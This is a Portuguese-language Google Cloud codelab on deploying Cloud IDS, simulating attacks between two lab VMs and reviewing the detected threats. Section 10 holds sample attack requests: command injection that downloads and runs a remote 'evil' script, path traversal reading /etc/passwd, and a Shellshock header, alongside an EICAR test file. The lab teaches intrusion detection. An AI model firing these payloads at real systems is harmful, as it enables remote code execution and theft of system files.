1. Introdução
Neste laboratório, você vai implantar o Cloud IDS, um serviço avançado de detecção de intrusões de última geração com detecção de ameaças de invasões, malware, spyware e ataques de comando e controle. Você vai simular vários ataques e conferir os detalhes das ameaças no console do Cloud.
O que você vai aprender
- Como criar um endpoint do Cloud IDS
- Como criar duas máquinas virtuais com comandos gcloud
- Como criar uma política de espelhamento de pacotes
- Como simular tráfego de ataque de uma máquina virtual
- Como conferir detalhes das ameaças no console do Cloud e no Cloud Logging
O que é necessário
- Conhecimento de comandos básicos do Linux
2. Casos de uso do Cloud IDS
O Cloud IDS oferece um serviço nativo de detecção de intrusões (IDS) de última geração do Google Cloud para que os clientes atendam aos requisitos avançados de conformidade e detecção de ameaças, como o PCI 11.4. O serviço é fornecido pelas tecnologias de proteção contra ameaças da Palo Alto Networks para oferecer detecção avançada de intrusões. A combinação da infraestrutura de nível internacional do Google Cloud com a segurança de nível internacional da Palo Alto Networks oferece aos clientes uma combinação incomparável de um serviço de detecção avançada de ameaças totalmente gerenciado, de alto desempenho e com a maior eficácia de segurança.
À medida que os clientes migram para a nuvem, a segurança é o mais lembrado para eles. Eles querem ter controles de segurança semelhantes aos que têm no ambiente local, como um serviço de detecção de intrusões (IDS) na nuvem. Eles preferem usar uma solução IDS gerenciada nativa da nuvem para facilitar a implantação, ter alto desempenho e otimizar os custos em comparação com a implantação de uma solução de segurança de terceiros e o gerenciamento da infraestrutura ou o uso de assinaturas próprias. O Google Cloud IDS oferece um serviço IDS gerenciado de ponta a ponta e com escalonamento automático. Assim, os clientes podem dedicar tempo à análise e mitigação de ameaças, liberando tempo e recursos para gerenciar a infraestrutura ou assinaturas de ameaças.
O Cloud IDS é implantado fora da banda e pode detectar e alertar sobre ameaças, mas não pode bloqueá-las. Ele usa o espelhamento de pacotes do Google Cloud para fazer uma cópia do tráfego de rede que é analisada com o mecanismo de detecção de ameaças da Palo Alto Networks.
3. Topologia do codelab

Figura 1. Visão geral da arquitetura de alto nível da implantação do Cloud IDS para este laboratório.
4. Configuração e requisitos
Configuração de ambiente autoguiada
- Faça login no Console do Google Cloud e crie um novo projeto ou reutilize um existente. Crie uma conta do Gmail ou do Google Workspace, se ainda não tiver uma.



- O Nome do projeto é o nome de exibição para os participantes do projeto. Ele é uma string de caracteres que não é usada pelas APIs do Google e pode ser atualizada a qualquer momento.
- O ID do projeto precisa ser exclusivo em todos os projetos do Google Cloud e não pode ser alterado após a definição. O Console do Cloud gera automaticamente uma string única, geralmente não importa o que seja. Na maioria dos codelabs, você precisará fazer referência ao ID do projeto, que geralmente é identificado como
PROJECT_ID. Então, se você não gostar dele, gere outro ID aleatório ou crie um próprio e veja se ele está disponível. Em seguida, ele fica "congelado" depois que o projeto é criado. - Há um terceiro valor, um Número de projeto, que algumas APIs usam. Saiba mais sobre esses três valores na documentação.
- Em seguida, você precisará ativar o faturamento no Console do Cloud para usar os recursos/APIs do Cloud. A execução deste codelab não será muito cara, se tiver algum custo. Para encerrar os recursos e não gerar cobranças além deste tutorial, siga as instruções de "limpeza" encontradas no final do codelab. Novos usuários do Google Cloud estão qualificados para o programa de US$ 300 de avaliação sem custos.
Inicie o Cloud Shell
Embora o Google Cloud e o Spanner possam ser operados remotamente do seu laptop, neste codelab usaremos o Google Cloud Shell, um ambiente de linha de comando executado no Cloud.
No Console do GCP, clique no ícone do Cloud Shell na barra de ferramentas localizada no canto superior direito:

O provisionamento e a conexão com o ambiente levarão apenas alguns instantes para serem concluídos: Quando o processamento for concluído, você verá algo como:

Essa máquina virtual contém todas as ferramentas de desenvolvimento necessárias. Ela oferece um diretório principal persistente de 5 GB, além de ser executada no Google Cloud. Isso aprimora o desempenho e a autenticação da rede. Todo o trabalho neste laboratório pode ser feito apenas com um navegador.
5. Antes de começar
Ativar APIs
No Cloud Shell, verifique se o ID do projeto está configurado.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Ative todos os serviços necessários
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Criar rede VPC
Rede VPC
No Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Sub-rede
No Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Acesso privado a serviços
No Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Conexão de serviço particular
No Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Regras de firewall
Para permitir que o IAP se conecte às suas instâncias de VM, crie uma regra de firewall que:
- Aplica-se a todas as instâncias de VM que você quer acessar usando o IAP.
- Permite o tráfego de entrada do intervalo de IP 35.235.240.0/20. Esse intervalo contém todos os endereços IP que o IAP usa para o encaminhamento de TCP.
No Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Para permitir a porta HTTP padrão (TCP 80) e o protocolo ICMP no servidor:
- Aplicável a recursos com a tag de rede "server"
- Permite a entrada de todas as fontes
No Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Criar uma instância do Cloud NAT
Cloud Router
No Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
No Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Criar endpoint do Cloud IDS
Nesta seção, você vai criar um endpoint do Cloud IDS em us-east1 com a gravidade definida como "informativa". A criação do endpoint do IDS leva aproximadamente 20 minutos.
Endpoint do IDS
No Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Verificar se o endpoint do Cloud IDS foi iniciado
gcloud ids endpoints list --project=$PROJECT_ID
Saída:
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Criar duas máquinas virtuais
Nesta seção, você vai criar duas máquinas virtuais. O primeiro será seu servidor da Web, que será espelhado no Cloud IDS. A segunda máquina virtual será a origem do seu tráfego de ataque.
Máquina virtual 1 (servidor)
No Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Máquina virtual 2 (cliente)
No Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Preparando o servidor
Nesta tarefa, você vai validar seu servidor e fornecer um payload de malware benigno para seu cliente.
Conectar-se por SSH à VM usando o Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Confirmar se o serviço da Web está em execução
sudo systemctl status nginx
Saída: verificar se está ativo e em execução
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Mudar diretório para serviço da Web
cd /var/www/html/
Crie um arquivo de malware benigno no servidor da Web
sudo touch eicar.file
Cole o conteúdo
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Voltar ao Cloud Shell
exit
Criar uma política de espelhamento de pacotes do Cloud IDS
Identifique a regra de encaminhamento do endpoint do IDS e confirme se o estado do endpoint do IDS é "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Exemplo de saída: copie o valor de "endpointForwardingRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Salve a regra de encaminhamento do endpoint do IDS em uma variável.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Política de espelhamento de pacotes
No Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Verificar se a política de espelhamento de pacotes foi criada
No Cloud Shell
gcloud compute packet-mirrorings list
Saída
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Simular tráfego de ataque
Acesse a máquina virtual do invasor (cliente) por SSH.
No Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Execute as solicitações curl a seguir para simular tráfego malicioso.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Saia da VM para voltar ao Cloud Shell.
exit
11. Analisar as ameaças detectadas pelo Cloud IDS
Navegue até o painel do Cloud IDS
Menu de navegação > Segurança de rede > Cloud IDS

Acesse a guia "Ameaças".

Como você pode ver, o Cloud IDS capturou vários perfis de tráfego de ataque e forneceu os detalhes de cada ameaça. Talvez seja necessário clicar no botão "Atualizar" se nenhuma ameaça aparecer. Agora vamos nos aprofundar um pouco mais e consultar os detalhes das ameaças.
Localize a ameaça "Bash Remote Code Execution Vulnerability", clique nos três pontos à direita e selecione "Ver detalhes da ameaça".


Agora vamos conferir os detalhes do incidente no Cloud Logging. Volte à página "Ameaças" clicando na seta para a esquerda .
Clique nos três pontos à direita e selecione "Ver registros de ameaças".


Os mesmos detalhes são fornecidos ao Cloud Logging. Dessa forma, você vai conseguir enviar os registros para o Cloud Storage, o Chronicle ou qualquer SIEM/SOAR. Você também pode criar fluxos de trabalho personalizados para executar ações de correção com base em alertas, como criar uma função do Cloud acionada por um alerta e criar/atualizar uma regra de firewall para bloquear o endereço IP ou criar/atualizar uma política do Cloud Armor.
12. Etapas de limpeza
Saia da instância de VM (todas as guias)
exit
Excluir componentes do laboratório em um único terminal do Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Parabéns!
Parabéns por concluir o codelab.
O que vimos
- Casos de uso do Cloud IDS
- Requisitos de rede
- APIs compatíveis
- Criou um endpoint do Cloud IDS
- Implantou duas VMs
- Gerou algum tráfego de "ataque" do cliente
- Ameaças verificadas foram detectadas pelo IDS
- Analisar detalhes e registros de ameaças